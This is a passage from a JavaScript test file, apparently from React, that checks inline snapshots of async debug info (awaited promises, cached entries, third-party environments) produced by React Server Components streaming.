},\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can ingores the start of I/O when immediately resolved non-native promise is awaited', async () => {\n    async function Component() {\n      return await {\n        then(callback) {\n          callback('hi');\n        },\n      };\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('hi');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1011,\n                109,\n                1002,\n                94,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n        ]\n      `);\n    }\n  });\n\n  it('forwards debugInfo from awaited Promises', async () => {\n    async function Component() {\n      let resolve;\n      const promise = new Promise(r => (resolve = r));\n      promise._debugInfo = [\n        {time: performance.now()},\n        {\n          name: 'Virtual Component',\n        },\n        {time: performance.now()},\n      ];\n      const promise2 = promise.then(value => value);\n      promise2._debugInfo = [\n        {time: performance.now()},\n        {\n          name: 'Virtual Component2',\n        },\n        {time: performance.now()},\n      ];\n      resolve('hi');\n      const result = await promise2;\n      return result.toUpperCase();\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1084,\n                109,\n                1060,\n                50,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"name\": \"Virtual Component\",\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"name\": \"Virtual Component2\",\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n        ]\n      `);\n    }\n  });\n\n  it('forwards async debug info one environment to the next', async () => {\n    async function getData() {\n      await delay(1);\n      await delay(2);\n      return 'hi';\n    }\n\n    async function ThirdPartyComponent() {\n      const data = await getData();\n      return data;\n    }\n\n    async function Component() {\n      const data = await fetchThirdParty(ThirdPartyComponent);\n      return data.toUpperCase();\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1168,\n                109,\n                1151,\n                63,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"third-party\",\n            \"key\": null,\n            \"name\": \"ThirdPartyComponent\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"fetchThirdParty\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                94,\n                40,\n                92,\n                3,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1164,\n                24,\n                1163,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"third-party\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"third-party\",\n                \"key\": null,\n                \"name\": \"ThirdPartyComponent\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"fetchThirdParty\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    94,\n                    40,\n                    92,\n                    3,\n                  ],\n                  [\n                    \"Component\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1164,\n                    24,\n                    1163,\n                    5,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1153,\n                  13,\n                  1152,\n                  5,\n                ],\n                [\n                  \"ThirdPartyComponent\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1159,\n                  24,\n                  1158,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"third-party\",\n            \"owner\": {\n              \"env\": \"third-party\",\n              \"key\": null,\n              \"name\": \"ThirdPartyComponent\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"fetchThirdParty\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  94,\n                  40,\n                  92,\n                  3,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1164,\n                  24,\n                  1163,\n                  5,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1153,\n                13,\n                1152,\n                5,\n              ],\n              [\n                \"ThirdPartyComponent\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1159,\n                24,\n                1158,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"third-party\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"third-party\",\n                \"key\": null,\n                \"name\": \"ThirdPartyComponent\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"fetchThirdParty\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    94,\n                    40,\n                    92,\n                    3,\n                  ],\n                  [\n                    \"Component\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1164,\n                    24,\n                    1163,\n                    5,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1154,\n                  13,\n                  1152,\n                  5,\n                ],\n                [\n                  \"ThirdPartyComponent\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1159,\n                  18,\n                  1158,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"third-party\",\n            \"owner\": {\n              \"env\": \"third-party\",\n              \"key\": null,\n              \"name\": \"ThirdPartyComponent\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"fetchThirdParty\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  94,\n                  40,\n                  92,\n                  3,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1164,\n                  24,\n                  1163,\n                  5,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1154,\n                13,\n                1152,\n                5,\n              ],\n              [\n                \"ThirdPartyComponent\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1159,\n                18,\n                1158,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"rsc stream\",\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n            \"env\": \"Server\",\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track cached entries awaited in later components', async () => {\n    const getData = cache(async function getData(text) {\n      await delay(1);\n      return text.toUpperCase();\n    });\n\n    async function Child() {\n      const greeting = await getData('hi');\n      return greeting + ', Seb';\n    }\n\n    async function Component() {\n      await getData('hi');\n      return <Child />;\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI, Seb');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1509,\n                40,\n                1492,\n                62,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1509,\n                    40,\n                    1492,\n                    62,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1494,\n                  13,\n                  1493,\n                  25,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1504,\n                  13,\n                  1503,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1509,\n                  40,\n                  1492,\n                  62,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1494,\n                13,\n                1493,\n                25,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1504,\n                13,\n                1503,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Child\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1505,\n                60,\n                1503,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1509,\n                    40,\n                    1492,\n                    62,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1494,\n                  13,\n                  1493,\n                  25,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1504,\n                  13,\n                  1503,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Child\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1505,\n                  60,\n                  1503,\n                  5,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"Child\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1499,\n                28,\n                1498,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track cached entries used in child position', async () => {\n    const getData = cache(async function getData(text) {\n      await delay(1);\n      return text.toUpperCase();\n    });\n\n    function Child() {\n      return getData('hi');\n    }\n\n    function Component() {\n      ReactServer.use(getData('hi'));\n      return <Child />;\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1822,\n                40,\n                1806,\n                57,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1822,\n                    40,\n                    1806,\n                    57,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1808,\n                  13,\n                  1807,\n                  25,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1817,\n                  23,\n                  1816,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1822,\n                  40,\n                  1806,\n                  57,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1808,\n                13,\n                1807,\n                25,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1817,\n                23,\n                1816,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Child\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1818,\n                60,\n                1816,\n                5,\n              ],\n            ],\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    1822,\n                    40,\n                    1806,\n                    57,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1808,\n                  13,\n                  1807,\n                  25,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  1817,\n                  23,\n                  1816,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                1818,\n                60,\n                1816,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track implicit returned promises that are blocked by previous data', async () => {\n    async function delayTwice() {\n      await delay('', 20);\n      await delay('', 10);\n    }\n\n    async function delayTrice() {\n      const p = delayTwice();\n      await delay('', 40);\n      return p;\n    }\n\n    async function Bar({children}) {\n      await delayTrice();\n      return 'hi';\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Bar />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('hi');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Bar\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2118,\n                40,\n                2100,\n                80,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Bar\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2118,\n                    40,\n                    2100,\n                    80,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"delayTrice\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2108,\n                  13,\n                  2106,\n                  5,\n                ],\n                [\n                  \"Bar\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2113,\n                  13,\n                  2112,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Bar\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2118,\n                  40,\n                  2100,\n                  80,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"delayTrice\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2108,\n                13,\n                2106,\n                5,\n              ],\n              [\n                \"Bar\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2113,\n                13,\n                2112,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Bar\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2118,\n                    40,\n                    2100,\n                    80,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"delayTwice\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2102,\n                  13,\n                  2101,\n                  5,\n                ],\n                [\n                  \"delayTrice\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2107,\n                  15,\n                  2106,\n                  5,\n                ],\n                [\n                  \"Bar\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2113,\n                  13,\n                  2112,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Bar\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2118,\n                  40,\n                  2100,\n                  80,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"delayTwice\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2102,\n                13,\n                2101,\n                5,\n              ],\n              [\n                \"delayTrice\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2107,\n                15,\n                2106,\n                5,\n              ],\n              [\n                \"Bar\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2113,\n                13,\n                2112,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Bar\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    2118,\n                    40,\n                    2100,\n                    80,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"delayTwice\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2103,\n                  13,\n                  2101,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Bar\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  2118,\n                  40,\n                  2100,\n                  80,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"delayTwice\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                2103,\n                13,\n                2101,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('can track IO that is chained via then(async ...)', async () => {\n    function getData(text) {\n      return delay(1).then(async () => {\n        return text.toUpperCase();\n      });\n    }\n\n    async function Component({text, promise}) {\n      return await getData('hi, sebbie');\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: 